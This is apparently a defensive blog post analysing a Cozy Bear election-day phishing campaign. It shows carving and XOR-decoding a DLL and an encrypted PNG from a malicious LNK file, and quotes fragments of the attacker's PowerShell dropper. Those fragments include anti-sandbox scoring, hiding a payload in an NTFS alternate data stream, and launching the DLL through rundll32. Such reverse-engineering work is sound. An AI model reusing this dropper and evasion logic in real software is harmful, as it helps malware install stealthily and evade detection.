Bear’s election campaign – (2/4)

Continuing the assessment of the Cozy Bear election day campaign mentioned by Volexity. I will be looking at this password protected zip file f79caf27a99c091e6c1775b306993341. This post is focusing on static analysis to get the files to analyze, with the next post focusing on static analysis of the binary itself.

To begin I went ahead and XOR decoded the whole file with the XOR key 41 since we already know that was the key used on most of the files inside the LNK. Browsing through the file for things of interest a few things jump out, an MZ header, a PNG header, and what appears to be an actual RTF file. The Bears have typically used PNG files with encoded binaries inside them as a next stage dropper. Even if you are doing deep packet inspection at the perimeter you are likely to not trigger on an encoded image file coming off of a web server. What seems odd is that this PNG file will already be on disk inside the same blob that contains the DLL, so it is not as though it is hiding. Likely this is to evade AV signatures, and make it harder to figure out what the C2 and full functionality is. If an AV triggers on the file and uploads it to their servers for analysis it may pull the actual DLL file up, but miss out on all the run time data which is being carved out of this fake image file. Since the Bears are known to use the TEA algorithm we will likely have to reverse a routine inside the malware to see if we can pull out the decoding routine being applied to this fake PNG image. Alternatively, we will also run the malware and see if any hooks are inside the PNG data with decoded commands in memory. Sometimes dynamic analysis will save a bit of time over static if we are trying to do this quickly for our companies/clients defensive measures such as DNS/IP blocks.

Looking at the additional Powershell script that was carved out of the bottom of the LNK file and base64 decoded we can see what appears to be the locations to carve out including the decoy document. Many malware writers will focus on the dropper, but completely cut corners when it comes to the decoy which is truly a sign of a Non-Advanced Persistent Threat. It is the authors opinion that if you are a nation state actor and you are using the 2012-0158 CVE and a blank page decoy you should quit “cyber”. Do something better with your “cyber warriors” like have them troll the opposition on Twitter or typo squat with a rick roll redirect. Now that I got that rant off my chest lets look at the Powershell code.

$acc = [IO.FileAccess]::READ
$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;


$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

We can see the RTF being carved out, but we aren’t concerned enough to carve that file after we look at it in hex and determine that it is just a decoy. We can see the detect_susp_environ function being called, which is looking for a score greater than 3 at which point heat_proc function is called and the script will exit with a normal termination exit code 0 effectively halting the dropper routine at this point. The scoring was based on some pretty simple stuff such as admin users, BIOS strings for virtualbox/vmware, virtual ethernet adapters, process explorer, task manager, wire shark, etc. Some of the more anti analysis orientated malware searches for hashes of values that it is looking for which makes it a bit more difficult to find what it is looking for, but this is effective enough to avoid most sandbox analysis environments which was the goal. The enterprise shift to automated sandbox analysis has created a common goal of clearing that as the thresh hold. Evading analysis by a talented reverse engineer is such a pain to do that it is rarely worth the effort since at that point your C2 has likely already been extracted via dynamic analysis.

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    Exit 0

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {

Once we get past the detection routine it is time to do some manual analysis of what is getting carved and placed onto disk for execution.

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"

$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
&"rundll32.exe" "$cfpath," "#2"

Of interest to us is $cfpath because we see that it is being launched through the windows program “rundll32.exe” which is the standard way to run a DLL file. So we know that the %APPDATA%\\Skype\\hqwhbr.lck” is actually a DLL which will have a MZ header inside the large LNK file. Here is the $cfpath with variables replaced by values.

$cfpath = pl_dropper $lnkfd 0x0dac (0x37ac – 0x0dac) “%APPDATA%\\Skype\\hqwhbr.lck”, with $lnkfd being equal to the memory space of the entire LNK file which was in the password protected zip.

The math simplifies to a carve for the hqwhbr.lck file starting at 0x0DAC and extending in length 0x2A00 long. After my carve and XOR’ing it with the key of 41 I verify an executable header (MZ) to make sure I didn’t screw up on the math.
mz The hash I have for this file hqwhbr.lck is 57c627d68e156676d08bfc0829b94331 which matches what the Volexity blog lists.

The next carve is to the same path of “%APPDATA%\\Skype\\”, but the destination file is being appended with a :schemas. This may jump out to you if you have ever gone through forensics training, if it doesn’t then don’t feel bad considering it had been awhile since I have seen it as well.

The method of hiding data is called an Alternate Data Stream or ADS, and the typical example given during classes is as follows. User A creates a file with a bunch of filler text called blah.txt. That user also has something they want to keep secret from prying eyes so in the command line they put the data into the ADS of that file which the average user will never see even if they get the file.

Here is a screenshot I made that shows the gist of the premise.

Alternatively, the venerable sysinternals suite has a program called streams.exe which can recursively look for ADS on your system. It easily finds it on my secret text file as shown in the following screenshot.
So in practice with this malware what we see is a DLL file being saved to disk as “%APPDATA%\\Skype\\hqwhbr.lck”, and then a fake image PNG carved out starting at 0x37AC is being placed in the same directory as an Alternate Data Stream. “%APPDATA%\\Skype\\hqwhbr.lck:schemas”
The DLL is only 10.7kb in size, and the ADS PNG is 547.6kb in size so we can assume a fair amount of this droppers functionality is hidden inside the ADS which I might add is still completely encrypted.

Carving out the ADS/PNG, inside 010 we do a “Select Range” from 0x37AC to 0x892E0.

>>> Result = 547636 [85B34h]

Here we can see the beginning of the PNG carve which we will then paste into a new binary file and XOR with the key 41 before saving. png Hashing this file gives us 26631625d8e4e09163f349bed8126ff1 which at the time of writing had not been submitted to VirusTotal.

Now we have our two likely malicious files so we are ready to go for the next post on analyzing the binaries.

Leave a Reply